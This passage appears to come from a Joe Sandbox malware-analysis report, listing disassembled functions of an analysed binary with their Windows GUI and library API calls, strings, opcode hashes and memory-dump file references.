Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ClientCursorScreen$Rect
String ID:
API String ID: 1082406499-0
Opcode ID: 95c344089441af3a37501b652a7a306242652334f4fc0588e3796e1874e8a3d9
Instruction ID: 97cd22d2e62e8d48e221490eb48f3823dc765f4d468e7b5e4b349dc6540e8c01
Opcode Fuzzy Hash: 95c344089441af3a37501b652a7a306242652334f4fc0588e3796e1874e8a3d9
Instruction Fuzzy Hash: 24418C31A1020AEFDF15EBA4C889BBDBBB4FF89315F104129E405E7251DBB49D51CB91

Function 0089607B Relevance: 7.6, APIs: 5, Instructions: 85windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 008960BB
SendMessageA.USER32(00000000,0000000B,00000000,00000000), ref: 008960EA
GetWindowRect.USER32(?,?), ref: 008960FD
SendMessageA.USER32(00000016,0000000B,00000001,00000000), ref: 00896153
RedrawWindow.USER32(00000185,00000000,00000000,00000185), ref: 00896169

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$MessageSend$RectRedrawVisible
String ID:
API String ID: 1695962874-0
Opcode ID: 28eb5e35b41eb0f6dd85b473ab022ceb9072e18a885d76102ce2d0a9ab945c33
Instruction ID: 7b56aec3b7e12fb5e4461f275674eeacc781631da403369af910cc57f833d202
Opcode Fuzzy Hash: 28eb5e35b41eb0f6dd85b473ab022ceb9072e18a885d76102ce2d0a9ab945c33
Instruction Fuzzy Hash: 06310DB1A00259AFDF11DFA8CD84FAEBBB8FB08350F104659B526E72A1D771AD00CB50

Function 008AE3F0 Relevance: 7.6, APIs: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,0000040D,00000000,00000000), ref: 008AE42F
SendMessageA.USER32(00000000,0000040D,00000000,00000000), ref: 008AE44F
SendMessageA.USER32(00000000,0000040D,00000000,00000000), ref: 008AE491

Part of subcall function 00932B41: SendMessageA.USER32(?,00000405,00000000,?), ref: 00932B72

SendMessageA.USER32(00000000,0000040D,00000000,00000000), ref: 008AE477
SetRectEmpty.USER32(?), ref: 008AE4B3

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: MessageSend$EmptyRect
String ID:
API String ID: 4004678023-0
Opcode ID: 830343974fc38e6935dca1b47e1c3e11f3cef0e7b70b1468a3433779b5840995
Instruction ID: 63f87553c420c9fd8e4b0440ee0ea7273634fbe4400f7c2b288777b30e9c2ef3
Opcode Fuzzy Hash: 830343974fc38e6935dca1b47e1c3e11f3cef0e7b70b1468a3433779b5840995
Instruction Fuzzy Hash: 492191B1A00519BFEB049F65DDC5FAABBBCFB09794F0102A5F955E7260C730AD108BA4

Function 008A44D0 Relevance: 7.6, APIs: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008A7100: __EH_prolog3_GS.LIBCMT ref: 008A7107
Part of subcall function 008A7100: GetWindowRect.USER32(00000000,00000000), ref: 008A7155
Part of subcall function 008A7100: CreateRoundRectRgn.GDI32(00000000,00000000,00000001,?,00000004,00000004), ref: 008A717F
Part of subcall function 008A7100: SetWindowRgn.USER32(00000000,?,00000000), ref: 008A7195

GetSystemMenu.USER32(?,00000000), ref: 008A455A
DeleteMenu.USER32(?,0000F120,00000000,00000000), ref: 008A4577
DeleteMenu.USER32(?,0000F020,00000000), ref: 008A4586
DeleteMenu.USER32(?,0000F030,00000000), ref: 008A4595
EnableMenuItem.USER32(?,0000F060,00000001), ref: 008A45BD

Part of subcall function 008A191C: SetRectEmpty.USER32(?), ref: 008A1947
Part of subcall function 008A191C: ReleaseCapture.USER32 ref: 008A194D
Part of subcall function 008A191C: SetCapture.USER32(?), ref: 008A1960
Part of subcall function 008A191C: RedrawWindow.USER32(?,00000000,00000000,00000505), ref: 008A1A60

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Menu$DeleteRectWindow$Capture$CreateEmptyEnableH_prolog3_ItemRedrawReleaseRoundSystem
String ID:
API String ID: 4022425685-0
Opcode ID: 1f8c4ec47bb6cd0ec4ab4d2f5058c7d9b1182490f0bf066f4240628131f80d70
Instruction ID: 0d66ad2fb57b37d2cd74e12badcc7b093e86c46295cc9a09299c004d9752eb73
Opcode Fuzzy Hash: 1f8c4ec47bb6cd0ec4ab4d2f5058c7d9b1182490f0bf066f4240628131f80d70
Instruction Fuzzy Hash: 1C21DE34600211FBDF216B60DC89E7E7F29FF85750B048035FA099B2A1CBB08E10EBA1

Function 0087C582 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0087C58C

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: H_prolog3_catch_
String ID:
API String ID: 1329019490-0
Opcode ID: 0c654b502836af4f46692921c9adea92213c73e0b3d001f1b12ff089aa3c545d
Instruction ID: fcb743825626a248e986f65ddcf3bc117f5ae77580b46e37de3f95301c9d7c2c
Opcode Fuzzy Hash: 0c654b502836af4f46692921c9adea92213c73e0b3d001f1b12ff089aa3c545d
Instruction Fuzzy Hash: 91217A35900219ABDB229B28CC85BEDBBB9FF58350F108099E94DE7251DB30DF90DE51

Function 008D0156 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 008D0183
GetParent.USER32(?), ref: 008D018C
GetWindowRect.USER32(?,?), ref: 008D01AD
PtInRect.USER32(?,?,?), ref: 008D01BD
GetParent.USER32(?), ref: 008D01ED

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ParentRect$CursorWindow
String ID:
API String ID: 1687153539-0
Opcode ID: 9d7299a2ad10dd3fa743a70023f6a7e70b1eb821f9448ee905632c0956f430dc
Instruction ID: a7520af0193fb455d2f19ce5a8c7142d81ce2ce2c1958de608bb85087526c41b
Opcode Fuzzy Hash: 9d7299a2ad10dd3fa743a70023f6a7e70b1eb821f9448ee905632c0956f430dc
Instruction Fuzzy Hash: 7321EAB2A1021AAFCF049FA5DC899AEBBB8FF48710B11416AF415E7210E7749A01DF91

Function 00896476 Relevance: 7.6, APIs: 5, Instructions: 67windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0089647D
SendMessageA.USER32(00000000,0000007F,00000000,00000000), ref: 008964A0
SendMessageA.USER32(00000000,0000007F,00000001,00000000), ref: 008964B4
GetClassLongA.USER32(00000000,000000DE), ref: 00896511
GetClassLongA.USER32(00000000,000000F2), ref: 00896522

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ClassLongMessageSend$H_prolog3
String ID:
API String ID: 350087385-0
Opcode ID: b63ef6d797b316fc5034a4af852835649a466fd7db0ddf7a8d469f49b8711f7b
Instruction ID: bb3b93eadfa58639e18df408e09fc480c4f34637e27018de776a5217ef404dd5
Opcode Fuzzy Hash: b63ef6d797b316fc5034a4af852835649a466fd7db0ddf7a8d469f49b8711f7b
Instruction Fuzzy Hash: 85110331910226BBDF227B70CC85B6E7664FF14794F194320F805B66E5FB718E209680

Function 008863FF Relevance: 7.5, APIs: 5, Instructions: 44windowCOMMON

Download Yara Rule

APIs

ScreenToClient.USER32(00000000,?), ref: 0088640C
SendMessageA.USER32(00000000,00000366,00000000,?), ref: 00886428
ClientToScreen.USER32(00000000,?), ref: 00886435
GetWindowLongA.USER32(00000000,000000F0), ref: 0088643E
GetParent.USER32(00000000), ref: 0088644C

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ClientScreen$LongMessageParentSendWindow
String ID:
API String ID: 4240056119-0
Opcode ID: 6446da3a82fb1c52e77edc3acd80fd6b0ab0d1935ec11be9a6bd99b52778aca6
Instruction ID: 0a71147f9362cf379128d193b5335bb74365b4601f11c59e7dc3ac72b12c112d
Opcode Fuzzy Hash: 6446da3a82fb1c52e77edc3acd80fd6b0ab0d1935ec11be9a6bd99b52778aca6
Instruction Fuzzy Hash: 26F0F4761015247BE7121F19EC0DAFE375CEF45B61F108216FD21CB280E7309E1183A8

Function 008B6455 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 008B645F

Part of subcall function 0093AC2B: __EH_prolog3.LIBCMT ref: 0093AC32

Strings

DockingPaneAndPaneDividers, xrefs: 008B6659
DockingManagers, xrefs: 008B646F
%TsDockingManager-%d, xrefs: 008B64A0

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: H_prolog3H_prolog3_catch
String ID: %TsDockingManager-%d$DockingManagers$DockingPaneAndPaneDividers
API String ID: 1882928916-3268659044
Opcode ID: 6356deab0f53f4b2a888639872d469e49ab02e23a12d2bc07fa23ad09e6a4e77
Instruction ID: cff44ca79af280048fa6bd80232f5afe5cdf49c2e84ef18af7270475fe718125
Opcode Fuzzy Hash: 6356deab0f53f4b2a888639872d469e49ab02e23a12d2bc07fa23ad09e6a4e77
Instruction Fuzzy Hash: 83917D70A0020AABCF05EBA8C955AEDB7B5FF48314F140169F415B7391EB34AE55CB51

Function 008C878A Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 153COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008C8791
SetRectEmpty.USER32(?), ref: 008C87C8

Part of subcall function 008CAD4E: __EH_prolog3.LIBCMT ref: 008CAD55

Strings

, xrefs: 008C88B1
, xrefs: 008C88AB

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: H_prolog3$EmptyRect
String ID: $
API String ID: 2470041913-227171996
Opcode ID: 9b35bc57e73c6436da1c63d8fbed1e18690788de6982462ab1073ec99f958903
Instruction ID: c0f05d62b9f9380a5bf2e8ab1908ad67606da1188f1ca396e8dbd655c63ce59f
Opcode Fuzzy Hash: 9b35bc57e73c6436da1c63d8fbed1e18690788de6982462ab1073ec99f958903
Instruction Fuzzy Hash: 985104B0900606DBDF18DF59C894BAABBB8FF84704F1441BDEC19AB296DB309901CF61

Function 008A816E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 008A8178
SendMessageA.USER32(00000000,0000040D,00000000,00000000), ref: 008A81A3
SendMessageA.USER32(?,0000040E,-00000001,00000030), ref: 008A81EB

Strings

0, xrefs: 008A81BF

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: MessageSend$H_prolog3_
String ID: 0
API String ID: 3491702567-4108050209
Opcode ID: 01ee9e230a3ba6882163644cb35d5daf3162da28d4e392d904ead34c59be302f
Instruction ID: 20e9f7e01c4eb004b1fb6bd73a2fbd65e0657f076f3aba525cc4162f37bc159e
Opcode Fuzzy Hash: 01ee9e230a3ba6882163644cb35d5daf3162da28d4e392d904ead34c59be302f
Instruction Fuzzy Hash: 82416871A00A19AFEB259B64CC85BEAB778FF45349F0001A9E15DE6291DB306E81CF60

Function 00862670 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0086269D
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 008626EC

Part of subcall function 009ACB11: _Yarn.LIBCPMT ref: 009ACB30
Part of subcall function 009ACB11: _Yarn.LIBCPMT ref: 009ACB54

__CxxThrowException@8.LIBVCRUNTIME ref: 0086271E

Strings

bad locale name, xrefs: 00862708

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
String ID: bad locale name
API String ID: 3628047217-1405518554
Opcode ID: 9f4d47bfd2d626ea2383fabeba5b2859bf1fcb7d203ff135f30a1abe6ffdbab6
Instruction ID: 36b8bd731e6f55827cd33663fe067eed5feeca27bc0cbe7be779b1bcf310bd77
Opcode Fuzzy Hash: 9f4d47bfd2d626ea2383fabeba5b2859bf1fcb7d203ff135f30a1abe6ffdbab6
Instruction Fuzzy Hash: AD118EB1904B449FD320DF68C841B4BBBF8FB19710F008A5EE495D7A81E775A608CBA5

Function 0088800D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00884DCE: LoadLibraryW.KERNEL32(00000000,00A28428,00000010,0087F7D8,?), ref: 00884E08

GetProcAddress.KERNEL32(00000000,DllGetVersion), ref: 0088804C
FreeLibrary.KERNEL32(00000000,?,comctl32.dll), ref: 00888098

Part of subcall function 00887FFA: GetLastError.KERNEL32 ref: 00887FFA

Strings

DllGetVersion, xrefs: 00888046
comctl32.dll, xrefs: 00888025

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Library$AddressErrorFreeLastLoadProc
String ID: DllGetVersion$comctl32.dll
API String ID: 2540614322-3857068685
Opcode ID: b0614a957431ceaef0aebf151a4151f86cbba80eafaf0d5cfdeb5f9ae61e2f01
Instruction ID: f9eb00c787dca4b6fd534b82de94bd7231a6970d5ce247df4497f429bd601de9
Opcode Fuzzy Hash: b0614a957431ceaef0aebf151a4151f86cbba80eafaf0d5cfdeb5f9ae61e2f01
Instruction Fuzzy Hash: 1F11C476A00659DBCB11EFA9CC85BAEBBB8FF84314F500025E505EB341DF749D058BA5

Function 0087C792 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(Advapi32.dll,00000000,00000010,?,?,0087C6DB,?,00000010), ref: 0087C7A5
GetProcAddress.KERNEL32(00000000,RegDeleteKeyTransactedA), ref: 0087C7B5

Strings

RegDeleteKeyTransactedA, xrefs: 0087C7AF
Advapi32.dll, xrefs: 0087C7A0

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Advapi32.dll$RegDeleteKeyTransactedA
API String ID: 1646373207-1972538232
Opcode ID: 479decc192bf60b69f7043f7242d54653ac15f1fb9b50a2dd70ea2315de3919f
Instruction ID: 942c3e9fe8b7212d87b251970836e45032c3ebff1ad6b87cb0467739b2cb5810
Opcode Fuzzy Hash: 479decc192bf60b69f7043f7242d54653ac15f1fb9b50a2dd70ea2315de3919f
Instruction Fuzzy Hash: 84F06233254249AB97151E99ECC8876B79DFB842AA714803EE545C7020CF71CC009B60

Function 0088819C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 008881B7
GetClassNameA.USER32(?,?,0000000A), ref: 008881CC
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,combobox,000000FF), ref: 008881E3

Strings

combobox, xrefs: 008881D4

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ClassCompareLongNameStringWindow
String ID: combobox
API String ID: 1414938635-2240613097
Opcode ID: ba290ee3e26a0a807b38b55418c7a0570059919efa77086685f3daa37a276991
Instruction ID: 3ed3620348ffb3ec2f831da6453e3e716293ca6e4c9f9907a717be02a9f13328
Opcode Fuzzy Hash: ba290ee3e26a0a807b38b55418c7a0570059919efa77086685f3daa37a276991
Instruction Fuzzy Hash: 25F06872655129FBCB00EB78DC4AEBE77A8EF19720F504715F431EB1C0DE609A019795

Function 008709FA Relevance: 6.4, APIs: 4, Instructions: 384windowCOMMON

Download Yara Rule

APIs

GetBkColor.GDI32(?), ref: 00870A38
GetTextColor.GDI32(?), ref: 00870AE2
GetBkColor.GDI32(?), ref: 00870CE3
DrawIconEx.USER32(?,?,?,?,?,?,00000000,00000000,00000003), ref: 00870DF1

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

